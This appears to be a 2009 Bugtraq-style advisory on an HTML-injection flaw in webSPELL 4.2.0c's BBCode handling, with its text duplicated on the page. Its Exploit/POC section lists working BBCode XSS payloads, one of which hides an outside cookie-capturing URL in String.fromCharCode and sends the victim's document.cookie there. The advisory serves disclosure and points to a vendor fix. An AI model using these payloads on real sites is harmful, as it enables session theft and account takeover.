webSPELL BBCode HTML Injection Vulnerability
BID:34595
Info
webSPELL BBCode HTML Injection Vulnerability
| Bugtraq ID: | 34595 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 16 2009 12:00AM |
| Updated: | Apr 21 2009 06:06PM |
| Credit: | YEnH4ckEr |
| Vulnerable: |
webSPELL webSPELL 4.2.0c |
| Not Vulnerable: | |
Discussion
webSPELL BBCode HTML Injection Vulnerability
webSPELL is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
webSPELL 4.2.0c is vulnerable; other versions may also be affected.
webSPELL is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
webSPELL 4.2.0c is vulnerable; other versions may also be affected.
Exploit / POC
webSPELL BBCode HTML Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following examples are available:
[email][img]http://www.example.com onmouseover=alert(1) [/img][/email]
[email][email][img]http://www.example.com onmouseover=alert(1) [/img] [/email][/email]
[email][url][img]http://www.example.com onmouseover=alert(1) [/img] [/url][/email]
[email][email][url]http://www.example.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email]
[email][email][url]http://www.example.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email]
[email][email][url]http://www.example.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://www.example.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://www.example.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][img]http://www.example.com onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/email]
Attackers can use a browser to exploit this issue.
The following examples are available:
[email][img]http://www.example.com onmouseover=alert(1) [/img][/email]
[email][email][img]http://www.example.com onmouseover=alert(1) [/img] [/email][/email]
[email][url][img]http://www.example.com onmouseover=alert(1) [/img] [/url][/email]
[email][email][url]http://www.example.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email]
[email][email][url]http://www.example.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email]
[email][email][url]http://www.example.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://www.example.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://www.example.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][img]http://www.example.com onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/email]
Solution / Fix
webSPELL BBCode HTML Injection Vulnerability
Solution:
The vendor has released a fix. Please see the references for more information.
webSPELL webSPELL 4.2.0c
Solution:
The vendor has released a fix. Please see the references for more information.
webSPELL webSPELL 4.2.0c
-
webSPELL SecurityFix 2009-04-04d
http://www.webspell.org/download.php?fileID=25